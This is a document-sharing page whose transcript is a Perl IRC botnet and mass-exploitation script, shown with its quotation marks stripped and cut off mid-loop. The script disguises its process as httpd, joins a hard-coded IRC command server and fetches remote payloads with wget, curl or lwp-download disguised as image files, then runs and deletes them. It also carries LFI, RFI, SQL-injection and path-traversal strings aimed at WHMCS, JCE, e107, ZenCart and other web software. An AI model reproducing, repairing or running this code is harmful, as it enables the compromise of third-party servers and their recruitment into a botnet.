su

Description
#!/usr/bin/perl use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); #use DBI; #use DBD::mysql; my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my my $datetime $fakeproc $ircserver $ircport $nickname $ident $channel $chan

Please download to get full document.

View again

of 58
All materials on our website are shared by users. If you have any questions about copyright issues, please report us to resolve them. We are always happy to assist you.
Information
Category:

Documents

Publish on:

Views: 72 | Pages: 58

Extension: PDF | Download: 3

Share
Transcript
  #!/usr/bin/perluse HTTP::Request;use HTTP::Request::Common;use HTTP::Request::Common qw(POST);use LWP::Simple;use LWP 5.64;use LWP::UserAgent;use Socket;use IO::Socket;use IO::Socket::INET;use IO::Select;use MIME::Base64;use URI::Escape;use Digest::MD5 qw(md5_hex);#use DBI;#use DBD::mysql;my $datetime = localtime;my $fakeproc = /usr/sbin/httpd ;my $ircserver = visa666.suka.se ;my $ircport = 6667 ;my $nickname = ASU ;my $ident = bot ;my $channel = #pi ;my $chanxxx= #pi ;my $chaninfo= #pi ;my $submitchan = #pi ;my $sqlchan = #pi ;my $admin = pool ;my $fullname =   4,1ovd   S   c-   An.   8T   J   C   E ;my $rawmsg = $ARGV[4];my $msgraw = $ARGV[5];my $nob0dy=   3(   6Nobody   3)   ;my $whmcslogo=   3(   6WHMCS   3) ;my $thumblogo=   4,1JCE   0 BY: MGM ;my $zerologo=   3(   6zBoarD   3) ;my $lfilogo=   3(   6LFI   3) ;my $rfilogo=   3(   6RFI   3) ;my $xmllogo=   3(   6XML   3) ;my $oscologo=   3(   6OSCO   3) ;my $oscosqllogo=   3(   6O-SQL   3) ;my $e107logo=   3(   6E107   3) ;my $ihlogo=   3(   6Is-Human   3) ;my $zenlogo=   12ZenCart   3) ;my $rfglogo=   3(   6RFG   3) ;my $carilogo =   129Find   3) ;my $sqllogo =   3(   6SQL   3PegaL) ;my $civicrmlogo=   3(CIVICRM   3) ;my $acylogo=   3(ACYMAILING   3) ;my $jnewsllogo=   3(JNEWSLETTER   3) ;my $jinclogo=   3(JINC   3) ;my $mailogo=   3(MAIANMEDIA   3) ;my $jnewslogo=   3(JNEWS   3) ;my $jnewlogo=   3(JNEW   3) ;my $whmcscmd= '!whmz';my $thumbcmd= !jn ;my $zerocmd= !zero ;my $lficmd= !lfi ;  my $rficmd= !rfi ;my $xmlcmd= !xml ;my $e107cmd= !e107 ;my $zencmd= .zen ;my $ihcmd= !ishu ;my $oscocmd = !osc ;my $sqlcmd = !sql ;my $cmdlfi= !cmdlfi ;my $cmdxml= !cmdxml ;my $cmde107= !cmde107 ;my $rfgcmd = !rfg ;my $ftpcmd= !ftp ;my $civicrmcmd= !civ ;my $acycmd= !acy ;my $jnewslcmd= !jn ;my $jinccmd= !jin ;my $maicmd= !mai ;my $jnewscmd= !jnw ;my $jnewcmd= !jne ;my $spreadMode= 1;my $zerowget= 1;my $zerolwp= 1;my $zerocurl= 1;my $gps= 1;my $gps2= 1;my $timot= 10;my $silentmode= 1;my $thumbid = http://picasa.com.my-corner.us/jahat.php ;my $thumbshell = http://picasa.com.my-corner.us/jahat.php ;#my $hostinjector = picasa.com.my-corner.us ;#my $thumbid = http:// .$hostinjector. /bad.php ;#my $botdid = http:// .$hostinjector. /bad.php ;#my $botxdid = http:// .$hostinjector. /bad.php ;#my $injec = http:// .$hostinjector. /bad.php ;#my $thumbshell = uri_escape($thumbid);#my $md5php = md5_hex($thumbid). .php ;#my $md5bot = md5_hex($botdid). .php ;#my $md5botx = md5_hex($botxdid). .php ;#my $botid = uri_escape($botdid);#my $botxid = uri_escape($botxdid);#my $injector = http://flickr.com.timomentum.com.br/bad.txt? ;#my $botshell = http://flickr.com.timomentum.com.br/bot.txt? ;#my $botshell1 = http://picasa.com.jdautocentergyn.com.br/bad.txt? ;#my $subticket = /submitticket.php?step=2&deptid=1 ;my $action = /data/shell.php ;my $wgetdon = ?cmd=wget http:// .$hostinjector. /jack.php;wget http://biriq.com//wp-includes/perl.jpg;perl perl.jpg;rm -rf perl.jpg;wget http://picasa.com.jdautocentergyn.com.br/rabot.txt;rm -rf rabot.txt ;my $lwpdon = ?cmd=lwp-download -a http:// .$hostinjector. /jack.php;lwp-download http://biriq.com//wp-includes/perl.jpg;perl perl.jpg;rm -rf perl.jpg;lwp-download http://picasa.com.jdautocentergyn.com.br/bot.txt;php b.jpg;rm -rf bot.txt ;my $curldon = ?cmd=curl -O http:// .$hostinjector. /jack.php;curl -O http://biriq.com//wp-includes/perl.jpg;perl perl.jpg;rm -rf perl.jpg;curl -O http://picasa.com.jdautocentergyn.com.br/bot.txt;php bot.txt;rm -rf bot.txt ;my $uagent = Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 ;my $lfdtest = ../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000 ;my $iam = /wp-content/themes/Linepress/cache/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q= ;   # /images/default/index2.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q= ;my $iam2 = /wp-content/uploads/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q= ; # /wp-admin/includes/index2.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q= ;my $iam3 = /wp-content/themes/folioway/cache/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q= ; my $jpath= /wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q= ;my $Indo1 = http://hero.co.ke .$iam;my $Indo2 = http://audiovideolife.com/wp-includes/class-mail.php?q= .$iam2;my $Indo3 = http://www.zuquibraz.com.br/wp-includes/class-mail.php?____pgfa= .$iam3;my $Indo4 = http://www.zuquibraz.com.br/wp-includes/class-mail.php?____pgfa= .$iam3;my $Indo5 = http://audiovideolife.com/wp-includes/class-mail.php?q= .$iam2;my $Indo6 = http://audiovideolife.com/wp-includes/class-mail.php?q= .$iam2;my $engine= IndoAC,IndoAD,IndoAE,IndoAF,IndoAG,IndoAL,IndoAM,IndoAN,IndoAT,IndoAR,IndoAU,IndoBE,IndoBG,IndoBY,IndoHU,IndoOrG,IndoCoM,IndoNeT,IndoPL,IndoIT,IndoID,IndoMY,IndoES,IndoFI,IndoGOV,IndoHK,IndoHR,IndoIL,IndoLV,IndoMD,IndoNO,IndoNZ,IndoUK,IndoUS,IndoJP,IndoKR,IndoDE,IndoDK,IndoCA,IndoBR,IndoRO,IndoRU,IndoNL,IndoInfO,IndoFR,IndoIN,IndoMX,IndoCZ,IndoCL,IndoCO,IndoCK,IndoEC,IndoEDU,IndoEE,IndoGR,IndoUA,IndoCN,IndoIR,IndoTH,IndoEU,IndoPH,IndoPK,IndoPT,IndoIL,IndoSE,IndoSG,IndoTK,IndoTR,IndoTV,IndoTW,IndoVN,IndoWS,IndoIM,IndoSI,IndoZA,IndoBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam ;$SIG{'INT'} = 'IGNORE';$SIG{'HUP'} = 'IGNORE';$SIG{'TERM'} = 'IGNORE';$SIG{'CHLD'} = 'IGNORE';$SIG{'PS'} = 'IGNORE';chdir( /tmp );chop (my $priper = `wget http://picasa.com.jdautocentergyn.com.br/bat.txt -O id.jpg;wget http://picasa.com.jdautocentergyn.com.br/bot.txt -O pahit.jpg;wget http://biriq.com//wp-includes/tempe.gif -O mysql.jpg`);$ircserver = $ARGV[0] if $ARGV[0];$ircport = $ARGV[1] if $ARGV[1];$nickname = $ARGV[2] if $ARGV[2];$channel = '#'. $ARGV[3] if $ARGV[3];$0 = $fakeproc . \0 x 16;my $pid = fork;exit if $pid;die \n[!] Something Wrong !!!: $!\n\n unless defined($pid);our %irc_servers;our %DCC;my $dcc_sel = new IO::Select->new();$sel_client = IO::Select->new();sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket $_[1]\n ; } else { print $IRC_cur_socket $_[0]\n ; }}  sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=> tcp , PeerAddr=> $ircserver_con , PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = $ircserver_con ; $irc_servers{$IRC_cur_socket}{'port'} = $ircport_con ; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick( $mynick ); sendraw( USER $ident .$IRC_socket->sockhost. $ircserver_con :$fullname ); sleep(1);}}sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw( PONG :$1 ); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick($mynick.int(rand(5))); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = $1 ; sendraw( MODE $mynick +Bx ); sendraw( NS id qwe123 ); sleep(3); sendraw( JOIN $channel correct ); sendraw( JOIN $chanxxx mejen ); sleep(1); sendraw( PRIVMSG $admin :Hi $admin im here !!! ); }}my $line_temp;while( 1 ) { while (!(keys(%irc_servers))) { connector( $nickname , $ircserver , $ircport ); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) {
Similar documents
View more...
We Need Your Support
Thank you for visiting our website and your interest in our free products and services. We are nonprofit website to share and download documents. To the running of this website, we need your help to support us.

Thanks to everyone for your continued support.

No, Thanks